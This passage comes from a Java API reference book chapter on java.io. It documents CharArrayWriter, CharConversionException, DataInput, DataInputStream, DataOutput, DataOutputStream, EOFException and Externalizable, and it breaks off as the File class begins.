This method copies len characters to this object's internal array from c, starting off elements from the beginning of the array. If the internal array is full, a larger array is allocated.

public void write(String str, int off, int len)

Parameters

str

A String to write to the stream.

off

An offset into the string.

len

The number of characters to write.

Overrides

Writer.write(String, int, int)

Description

This method copies len characters to this object's internal array from str, starting off characters from the beginning of the given string. If the internal array is full, a larger array is allocated.

writeTo

public void writeTo(Writer out) throws IOException

Parameters

out

The destination stream.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes the contents of this object's internal buffer to the given Writer. All the data that has been written to this CharArrayWriter is written to out.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object
write(char[]) | Writer | write(String) | Writer

See Also

IOException, String, Writer

Previous | Home | Next
CharArrayReader | Book Index | CharConversionException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] CharConversionException

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

CharConversionException

Name

CharConversionException

Synopsis

Class Name:

java.io.CharConversionException

Superclass:

java.io.IOException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

A CharConversionException object is thrown when a problem occurs in converting a character to a byte.

Class Summary

public class java.io.CharConversionException extends java.io.IOException {
  // Constructors
  public CharConversionException();
  public CharConversionException(String s);
}

Constructors

CharConverionException

public CharConversionException()

Description

This constructor creates a CharConversionException with no detail message.

public CharConversionException(String s)

Parameters

s

The detail message.

Description

This constructor creates a CharConversionException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, IOException, Throwable

Previous | Home | Next
CharArrayWriter | Book Index | DataInput
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] DataInput

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

DataInput

Name

DataInput

Synopsis

Interface Name:

java.io.DataInput

Super-interface:

None

Immediate Sub-interfaces:

java.io.ObjectInput

Implemented By:

java.io.DataInputStream, java.io.RandomAccessFile

Availability:

JDK 1.0 or later

Description

The DataInput interface defines methods for reading primitive data types and lines of text from an input stream in a machine-independent manner. All multibyte quantities are assumed to be in a format that stores the most significant byte as the first byte and the least significant byte as the last byte.

Interface Declaration

public abstract interface java.io.DataInput {
  // Methods
  public abstract boolean readBoolean();
  public abstract byte readByte();
  public abstract char readChar();
  public abstract double readDouble();
  public abstract float readFloat();
  public abstract void readFully(byte[] b);
  public abstract void readFully(byte[] b, int off, int len);
  public abstract int readInt();
  public abstract String readLine();
  public abstract long readLong();
  public abstract short readShort();
  public abstract int readUnsignedByte();
  public abstract int readUnsignedShort();
  public abstract String readUTF();
  public abstract int skipBytes(int n);
}

Methods

readBoolean

public abstract boolean readBoolean() throws IOException

Returns

The boolean value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Description

This method reads a byte as a boolean value. A byte that contains a zero is read as false; that which contains a nonzero is read as true.

readByte

public abstract byte readByte() throws IOException

Returns

The byte value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Description

This method reads a signed 8-bit byte.

readChar

public abstract char readChar() throws IOException

Returns

The char value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Description

This method reads a 16-bit char.

readDouble

public abstract double readDouble() throws IOException

Returns

The double value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Description

This method reads a 64-bit double quantity.

readFloat

public abstract float readFloat() throws IOException

Returns

The float value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Description

This method reads a 32-bit float quantity.

readFully

public abstract void readFully(byte[] b) throws IOException

Parameters

b

The array to fill.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Description

This method reads bytes into the given array b until the array is full.

 public abstract void readFully(byte[] b, int off, int len) throws IOException

Parameters

b

The array to fill.

off

An offset into the array.

len

The number of bytes to read.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Description

This method reads len bytes into the given array, starting at offset off.

readInt

public abstract int readInt() throws IOException

Returns

The int value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Description

This method reads a 32-bit int quantity.

readLine

public abstract String readLine() throws IOException

Returns

A String that contains the line read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Description

This method reads a String from the current position through the next line terminator. Implementations of this method should take care to look for any line terminator: "\n", "\r", or "\r\n".

readLong

public abstract long readLong() throws IOException

Returns

The long value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Description

This method reads a 64-bit long quantity.

readShort

public abstract short readShort() throws IOException

Returns

The short value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Description

This method reads a 16-bit short quantity.

readUnsignedByte

public abstract int readUnsignedByte() throws IOException

Returns

The unsigned byte value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Description

This method reads an 8-bit byte as an unsigned quantity.

readUnsignedShort

public abstract int readUnsignedShort() throws IOException

Returns

The unsigned short value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Description

This method reads a 16-bit short as an unsigned quantity.

readUTF

public abstract String readUTF() throws IOException

Returns

The String read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

UTFDataFormatException

If the bytes do not represent a valid UTF-8 encoding.

Description

This method reads a UTF-8 format String. See Appendix B, The UTF-8 Encoding, for information on the UTF-8 encoding.

skipBytes

public abstract int skipBytes(int n) throws IOException

Parameters

n

The number of bytes to skip.

Returns

The actual number of skipped bytes.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Description

This method skips over n bytes.

See Also

DataInputStream, EOFException, IOException, ObjectInput, RandomAccessFile, UTFDataFormatException

Previous | Home | Next
CharConversionException | Book Index | DataInputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] DataInputStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

DataInputStream

Name

DataInputStream

Synopsis

Class Name:

java.io.DataInputStream

Superclass:

java.io.FilterInputStream

Immediate Subclasses:

None

Interfaces Implemented:

java.io.DataInput

Availability:

JDK 1.0 or later

Description

The DataInputStream class provides methods for reading primitive data types and lines of text from an underlying input stream in a machine-independent manner. Many of the methods of DataInputStream read a single primitive data type, in binary format, from an underlying input stream. All multibyte quantities are assumed to be in a format that stores the most significant byte as the first byte and the least significant byte as the last byte.

Class Summary

public class java.io.DataInputStream extends java.io.FilterInputStream
                                     implements java.io.DataInput {
  // Constructors
  public DataInputStream(InputStream in);
  // Class Methods
  public final static String readUTF(DataInput in);
  // Instance Methods
  public final int read(byte[] b);
  public final int read(byte[] b, int off, int len);
  public final boolean readBoolean();
  public final byte readByte();
  public final char readChar();
  public final double readDouble();
  public final float readFloat();
  public final void readFully(byte[] b);
  public final void readFully(byte[] b, int off, int len);
  public final int readInt();
  public final String readLine();                // Deprecated in 1.1
  public final long readLong();
  public final short readShort();
  public final int readUnsignedByte();
  public final int readUnsignedShort();
  public final String readUTF() throws IOException;
  public final int skipBytes(int n) throws IOException;
}

Constructors

DataInputStream

public DataInputStream(InputStream in)

Parameters

in

The input stream to use.

Description

This constructor creates a DataInputStream object that reads from, or wraps, the given input stream.

Class Methods

readUTF

 public final static String readUTF(DataInput in) throws IOException

Parameters

in

The data input stream to use.

Returns

The String read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

UTFDataFormatException

If the bytes do not represent a valid UTF-8 encoding.

Description

This method reads a UTF-8 encoded string from the given DataInput object. To get the number of bytes in the encoded string, the first two bytes are read as an unsigned short value. Then the following bytes are read and interpreted as UTF-8 encoded bytes; these bytes are converted into characters for the resulting String. This method blocks until all of the bytes in the encoded string have been read, the end of the stream is encountered, or an exception is thrown.

For details on the UTF-8 encoding, see Appendix B, The UTF-8 Encoding.

Instance Methods

read

public final int read(byte b[]) throws IOException

Parameters

b

An array of bytes to be filled from the stream.

Returns

The number of bytes read, or -1 if the end of file is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.read(byte[])

Description

This method reads bytes of input into the given array by calling the read() method of the underlying stream. The method reads up to b.length bytes of data from the stream. The method blocks until there is some input available.

 public final int read(byte b[], int off, int len) throws IOException

Parameters

b

An array of bytes to be filled from the stream.

off

An offset into the byte array.

len

The number of bytes to read.

Returns

The number of bytes read, or -1 if the end of file is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.read(byte[], int, int)

Description

This method reads up to len bytes of input into the given array starting at index off. The method reads the bytes by calling the read() method of the underlying stream and blocks until there is some input available.

readBoolean

public final boolean readBoolean() throws IOException

Returns

The boolean value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readBoolean()

Description

This method reads a byte as a boolean value from the underlying input stream. A byte that contains a zero is read as false; that which contains any other value is read as true. The method blocks until the byte is read, the end of the stream is encountered, or an exception is thrown.

readByte

public final byte readByte() throws IOException

Returns

The byte value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readByte()

Description

This method reads a signed 8-bit value--a byte--from the underlying input stream. The method blocks until the byte is read, the end of the stream is encountered, or an exception is thrown.

readChar

public final char readChar() throws IOException

Returns

The char value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readChar()

Description

This method reads a 16-bit Unicode character from the stream. The method reads two bytes from the underlying input stream and then creates a char value, using the first byte read as the most significant byte. The method blocks until the two bytes are read, the end of the stream is encountered, or an exception is thrown.

readDouble

public final double readDouble() throws IOException

Returns

The double value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readDouble()

Description

This method reads a 64-bit double quantity from the stream. The method reads a long value from the underlying input stream as if using the readLong() method. The long value is then converted to a double using the longBitsToDouble() method in Double. The method blocks until the necessary eight bytes are read, the end of the stream is encountered, or an exception is thrown.

readFloat

public final float readFloat() throws IOException

Returns

The float value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readFloat()

Description

This method reads a 32-bit float quantity from the stream. The method reads an int value from the underlying input stream as if using the readInt() method. The int value is then converted to a float using the intBitsToFloat() method in Float. The method blocks until the necessary four bytes are read, the end of the stream is encountered, or an exception is thrown.

readFully

public final void readFully(byte b[]) throws IOException

Parameters

b

The array to fill.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readFully(byte[])

Description

This method reads bytes into the given array b until the array is full. The method reads repeatedly from the underlying stream to fill the array. The method blocks until all of the bytes are read, the end of the stream is encountered, or an exception is thrown.

 public final void readFully(byte b[], int off, int len) throws IOException

Parameters

b

The array to fill.

off

An offset into the array.

len

The number of bytes to read.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readFully(byte[], int, int)

Description

This method reads len bytes into the given array, starting at offset off. The method reads repeatedly from the underlying stream to fill the array. The method blocks until all the bytes are read, the end of the stream is encountered, or an exception is thrown.

readInt

public final int readInt() throws IOException

Returns

The int value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readInt()

Description

This method reads a signed 32-bit int quantity from the stream. The method reads four bytes from the underlying input stream and then creates an int quantity, using the first byte read as the most significant byte. The method blocks until the four bytes are read, the end of the stream is encountered, or an exception is thrown.

readLine

public final String readLine() throws IOException

Availability

Deprecated as of JDK 1.1

Returns

A String that contains the line read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other I/O error occurs.

Implements

DataInput.readLine()

Description

This method reads the next line of text from the stream. The method reads bytes of data from the underlying input stream until it encounters a line terminator. A line terminator is a carriage return ("\r"), a newline character ("\n"), a carriage return immediately followed by a newline character, or the end of the stream. The method blocks until a line terminator is read, the end of the stream is encountered, or an exception is thrown.

This method is deprecated as of JDK 1.1 because it does not convert bytes to characters correctly. It's replaced by BufferedReader.readLine().

readLong

public final long readLong() throws IOException

Returns

The long value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readLong()

Description

This method reads a signed 64-bit long quantity from the stream. The method reads eight bytes from the underlying input stream and then creates a long quantity, using the first byte read as the most significant byte. The method blocks until the eight bytes are read, the end of the stream is encountered, or an exception is thrown.

readShort

public final short readShort() throws IOException

Returns

The short value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readShort()

Description

This method reads a signed 16-bit short quantity from the stream. The method reads two bytes from the underlying input stream and then creates a short quantity, using the first byte read as the most significant byte. The method blocks until the two bytes are read, the end of the stream is encountered, or an exception is thrown.

readUnsignedByte

public final int readUnsignedByte() throws IOException

Returns

The unsigned byte value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readUnsignedByte()

Description

This method reads an unsigned 8-bit quantity from the stream. The method reads a byte from the underlying input stream and returns that byte, and blocks until the byte is read, the end of the stream is encountered, or an exception is thrown.

readUnsignedShort

public final int readUnsignedShort() throws IOException

Returns

The unsigned short value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readUnsignedShort()

Description

This method reads an unsigned 16-bit quantity from the stream. The method reads two bytes from the underlying input stream and creates an unsigned short quantity, using the first byte read as the most significant byte. The method blocks until the two bytes are read, the end of the stream is encountered, or an exception is thrown.

readUTF

public final String readUTF() throws IOException

Returns

The String read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

UTFDataFormatException

If the bytes do not represent a valid UTF-8 encoding.

Implements

DataInput.readUTF()

Description

This method reads a UTF-8 encoded string from the stream. See the description of the readUTF(DataInput) class method for more information.

skipBytes

public final int skipBytes(int n) throws IOException

Parameters

n

The number of bytes to skip.

Returns

The actual number of skipped bytes.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind I/O error occurs.

Implements

DataInput.skipBytes()

Description

This method skips over n bytes in the underlying input stream. The method blocks until all of the bytes are skipped, the end of the stream is encountered, or an exception is thrown.

Inherited Methods

Method | Inherited From | Method | Inherited From
available () | FilterInputStream | clone() | Object
close() | FilterInputStream | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | mark(int) | FilterInputStream
markSupported() | FilterInputStream | notify() | Object
notifyAll() | Object | read() | FilterInputStream
reset() | FilterInputStream | skip(long) | FilterInputStream
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

DataOutputStream, Double, EOFException, FilterInputStream, Float, InputStream, IOException, String, UTFDataFormatException

Previous | Home | Next
DataInput | Book Index | DataOutput
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] DataOutput

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

DataOutput

Name

DataOutput

Synopsis

Interface Name:

java.io.DataOutput

Super-interface:

None

Immediate Sub-interfaces:

java.io.ObjectOutput

Implemented By:

java.io.DataOutputStream, java.io.RandomAccessFile

Availability:

JDK 1.0 or later

Description

The DataOutput interface defines methods for writing primitive data types to an output stream in a machine-independent manner. All multibyte quantities are written in a format that stores the most significant byte as the first byte and the least significant byte as the last byte.

Interface Declaration

public abstract interface java.io.DataOutput {
  // Methods
  public abstract void write(byte[] b);
  public abstract void write(byte[] b, int off, int len);
  public abstract void write(int b);
  public abstract void writeBoolean(boolean v);
  public abstract void writeByte(int v);
  public abstract void writeBytes(String s);
  public abstract void writeChar(int v);
  public abstract void writeChars(String s);
  public abstract void writeDouble(double v);
  public abstract void writeFloat(float v);
  public abstract void writeInt(int v);
  public abstract void writeLong(long v);
  public abstract void writeShort(int v);
  public abstract void writeUTF(String str);
}

Methods

write

public abstract void write(int b) throws IOException

Parameters

b

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes the low-order 8 bits of the given integer b.

public abstract void write(byte[] b) throws IOException

Parameters

b

An array of values to write.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes all of the 8-bit bytes in the given array.

 public abstract void write(byte[] b, int off, int len) throws IOException

Parameters

b

An array of values to write.

off

An offset into the array.

len

The number of bytes to write.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes len bytes from the given array, starting off elements from the beginning of the array.

writeBoolean

public abstract void writeBoolean(boolean v) throws IOException

Parameters

v

The boolean value to write.

Throws

IOException

If any kind of I/O error occurs.

Description

If v is true, this method writes a byte that contains the value 1. If v is false, the method writes a byte that contains the value 0.

writeByte

public abstract void writeByte(int v) throws IOException

Parameters

v

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes an 8-bit byte using the low-order eight bits of the integer v.

writeBytes

public abstract void writeBytes(String s) throws IOException

Parameters

s

The String to write.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes the characters in the given String as a sequence of 8-bit bytes. The high-order bytes of the characters in the string are ignored.

writeChar

public abstract void writeChar(int v) throws IOException

Parameters

v

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes a 16-bit char using the low-order 16 bits of the given integer v.

writeChars

public abstract void writeChars(String s) throws IOException

Parameters

s

The String to write.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes the characters in the given String object as a sequence of 16-bit characters.

writeDouble

public abstract void writeDouble(double v) throws IOException

Parameters

v

The double value to write.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes a 64-bit double.

writeFloat

public abstract void writeFloat(float v) throws IOException

Parameters

v

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes a 32-bit float.

writeInt

public abstract void writeInt(int v) throws IOException

Parameters

v

The int value to write.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes a 32-bit int.

writeLong

public abstract void writeLong(long v) throws IOException

Parameters

v

The long value to write.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes a 64-bit long.

writeShort

public abstract void writeShort(int v) throws IOException

Parameters

v

The short value to write.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes a 16-bit short.

writeUTF

public abstract void writeUTF(String str) throws IOException

Parameters

str

The String to write.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes the given String using UTF-8 encoding. See Appendix B, The UTF-8 Encoding for information on the UTF-8 encoding.

See Also

DataOutputStream, IOException, ObjectOutput, RandomAccessFile

Previous | Home | Next
DataInputStream | Book Index | DataOutputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] DataOutputStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

DataOutputStream

Name

DataOutputStream

Synopsis

Class Name:

java.io.DataOutputStream

Superclass:

java.io.FilterOutputStream

Immediate Subclasses:

None

Interfaces Implemented:

java.io.DataOutput

Availability:

JDK 1.0 or later

Description

The DataOutputStream class defines methods for writing primitive data types to an output stream in a machine-independent manner. Many of the methods of DataOutputStream write a single primitive data type, in binary format, to an underlying output stream. All multibyte quantities are written in a format that stores the most significant byte as the first byte and the least significant byte as the last byte.

Class Summary

public class java.io.DataOutputStream extends java.io.FilterOutputStream
                                      implements java.io.DataOutput {
  // Variables
  protected int written;
  // Constructors
  public DataOutputStream(OutputStream out);
  // Instance Methods
  public void flush();
  public final int size();
  public synchronized void write(int b);
  public synchronized void write(byte[] b, int off, int len);
  public final void writeBoolean(boolean v);
  public final void writeByte(int v);
  public final void writeBytes(String s);
  public final void writeChar(int v);
  public final void writeChars(String s);
  public final void writeDouble(double v);
  public final void writeFloat(float v);
  public final void writeInt(int v);
  public final void writeLong(long v);
  public final void writeShort(int v);
  public final void writeUTF(String str);
}

Variables

written

protected int written

Description

The number of bytes that have been written to this output stream.

Constructors

DataOutputStream

public DataOutputStream(OutputStream out)

Parameters

out

The output stream to use.

Description

This constructor creates a DataOutputStream that uses out as its underlying stream.

Instance Methods

flush

public void flush() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterOutputStream.flush()

Description

This method flushes the stream, forcing any buffered output to be written. The method calls the flush() method of the underlying output stream.

size

public final int size()

Returns

The number of bytes written.

Description

This method returns the number of bytes that have been written to the stream (i.e., it returns the value of the variable written).

write

public synchronized void write(int b) throws IOException

Parameters

b

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterOutputStream.write(int)

Implements

DataOutput.write(int)

Description

This method writes the low-order eight bits of b to the underlying stream as a byte.

 public synchronized void write(byte b[], int off, int len) throws IOException

Parameters

b

An array of bytes to write.

off

An offset into the byte array.

len

The number of bytes to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterOutputStream.write(byte[], int, int)

Implements

DataOutput.write(byte[], int, int)

Description

This method writes len bytes from the given array, starting off elements from the beginning of the array, to the underlying stream.

writeBoolean

public final void writeBoolean(boolean v) throws IOException

Parameters

v

The boolean value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeBoolean()

Description

If v is true, this method writes a byte that contains the value 1 to the underlying stream. If v is false, the method writes a byte that contains the value 0.

writeByte

public final void writeByte(int v) throws IOException

Parameters

v

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeByte()

Description

This method writes an 8-bit byte to the underlying stream, using the low-order eight bits of the given integer v.

writeBytes

public final void writeBytes(String s) throws IOException

Parameters

s

The String to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeBytes()

Description

This method writes the characters in the given String to the underlying stream as a sequence of 8-bit bytes. The high-order bytes of the characters in the string are ignored.

writeChar

public final void writeChar(int v) throws IOException

Parameters

v

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeChar()

Description

This method writes a 16-bit char to the underlying stream, using the low-order 16 bits of the given integer v.

writeChars

public final void writeChars(String s) throws IOException

Parameters

s

The String to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeChars()

Description

This method writes the characters in the given String object to the underlying stream as a sequence of 16-bit characters.

writeDouble

public final void writeDouble(double v) throws IOException

Parameters

v

The double value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeDouble()

Description

This method writes a 64-bit double to the underlying stream. The double value is converted to a long using doubleToLongBits() of Double; the long value is then written to the underlying stream as eight bytes with the high-order byte first.

writeFloat

public final void writeFloat(float v) throws IOException

Parameters

v

The float value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeFloat()

Description

This method writes a 32-bit float to the underlying stream. The float value is converted to a int using floatToIntBits() of Float; the int value is then written to the underlying stream as four bytes with the high-order byte first.

writeInt

public final void writeInt(int v) throws IOException

Parameters

v

The int value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeInt()

Description

This method writes a 32-bit int to the underlying stream. The value is written as four bytes with the high-order byte first.

writeLong

public final void writeLong(long v) throws IOException

Parameters

v

The long value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeLong()

Description

This method writes a 64-bit long to the underlying stream. The value is written as eight bytes with the high-order byte first.

writeShort

public final void writeShort(int v) throws IOException

Parameters

v

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeShort()

Description

This method writes a 16-bit short to the underlying stream, using the low-order two bytes of the given integer v.

writeUTF

public final void writeUTF(String str) throws IOException

Parameters

str

The String to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeUTF()

Description

This method writes the given String to the underlying stream using the UTF-8 encoding. First, two bytes are written as an unsigned short value; this value specifies the number of bytes to follow. The value is the actual number of bytes in the UTF-8 encoding, not the length of the string. Then each character of the string is written as UTF-8 encoded bytes.

See Appendix B, The UTF-8 Encoding for more information on the UTF-8 encoding.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | close() | FilterOutputStream
equals(Object) | Object | finalize() | Object
getClass() | Object | hashCode() | Object
notify() | Object | notifyAll() | Object
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object
write(byte[]) | FilterOutputStream |  |

See Also

DataInputStream, DataOutput, Double, FilterOutputStream, Float, IOException, OutputStream

Previous | Home | Next
DataOutput | Book Index | EOFException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] EOFException

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

EOFException

Name

EOFException

Synopsis

Class Name:

java.io.EOFException

Superclass:

java.io.IOException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An EOFException is thrown in response to an attempt to read past the end of a file.

Many file-handling routines indicate the end of a file with a special return code. For example, many read() methods return -1 to indicate that the end of file has been reached. However, in some cases, the program clearly expects a certain format of data in a file. If it's not all there, throwing an exception is an appropriate way to flag the unusual condition of the file. So, for example, a DataInputStream throws an EOFException if it comes to the end of file in the middle of readFloat(). In the java.io package, EOFException is used in the classes that implement the DataInput and ObjectInput interfaces, namely DataInputStream, ObjectInputStream, and RandomAccessFile.

Class Summary

public class java.io.EOFException extends java.io.IOException {
  // Constructors
  public EOFException();
  public EOFException(String s);
}

Constructors

EOFException

public EOFException()

Description

This constructor creates an EOFException with no detail message.

public EOFException(String s)

Parameters

s

The detail message.

Description

This constructor creates an EOFException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

DataInput, DataInputStream, Exception, IOException, ObjectInput, ObjectInputStream, RandomAccessFile, Throwable

Previous | Home | Next
DataOutputStream | Book Index | Externalizable
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] Externalizable

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

Externalizable

Name

Externalizable

Synopsis

Interface Name:

java.io.Externalizable

Super-interface:

java.io.Serializable

Immediate Sub-interfaces:

None

Implemented By:

None

Availability:

New as of JDK 1.1

Description

The Externalizable interface is an extension of the Serializable interface. Whereas a Serializable object is automatically saved and loaded (in most cases), an Externalizable object has sole responsibility for saving and loading its state via the writeExternal() and readExternal() methods. If a class implements the Externalizable interface, it must handle any versioning issues that occur.

The methods of Externalizable are public, which can pose a security risk. If security is a concern, Externalizable objects should not write or read sensitive information, or the Serializable interface should be used instead.

Interface Declaration

public abstract interface java.io.Externalizable
                          extends java.io.Serializable {
  // Methods
  public abstract void readExternal(ObjectInput in);
  public abstract void writeExternal(ObjectOutput out);
}

Methods

readExternal

 public abstract void readExternal(ObjectInput in) throws IOException, ClassNotFoundException

Parameters

in

The object input stream to use.

Throws

ClassNotFoundException

If the class of the object being deserialized cannot be found.

IOException

If any kind of I/O error occurs.

Description

This method reads an object from the given stream. This method has full responsibility for restoring the object's state. The implementation of readExternal() should read data in the format that is written out by writeExternal(). In general, an implementation should call methods of DataInput to read primitive types and methods of ObjectInput to read objects, strings, and arrays.

writeExternal

 public abstract void writeExternal(ObjectOutput out) throws IOException

Parameters

out

The object output stream to use.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes an object to the given stream. This method has full responsibility for saving the object's state. The implementation of writeExternal() should write data in the format that is read by readExternal(). In general, an implementation should call methods of DataOutput to write primitive types and methods of ObjectOutput to write objects, strings, and arrays.

See Also

ClassNotFoundException, DataInput, DataOutput, IOException, ObjectInput, ObjectOutput, Serializable

Previous | Home | Next
EOFException | Book Index | File
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] File

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

File

Name

File

Synopsis

Class Name:

java.io.File

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The File class provides methods to obtain information about files and directories. A File object encapsulates the name of a file or a directory. A File object can list the files in a directory, check the existence and type of a file, create new directories, and rename and delete files, among other things. However, the File class does not handle I/O to files. Actual reading and writing is accomplished using RandomAccessFile, FileReader, FileWriter, FileInputStream, and FileOutputStream objects.

The File class also defines some constants for the platform-specific directory and path separator characters. If you want to avoid putting system-dependent path information in your program, you may want to reference all files relative to the directory in which your program is running (i.e., the current directory). Alternatively, you can use java.awt.FileDialog to prompt the user for system-dependent paths.

Many of the methods in File throw a SecurityException if the application does not have sufficient privileges for the requested operation. This happens in two steps. First, System.getSecurityManager() is called. If a SecurityManager has been installed, it is queried for the appropriate permission. For example, File.canRead() calls SecurityManager.canRead(). If the application does not have permission to read the specified file, the SecurityManager throws a SecurityException, which in turn is thrown by File.canRead().

Class Summary

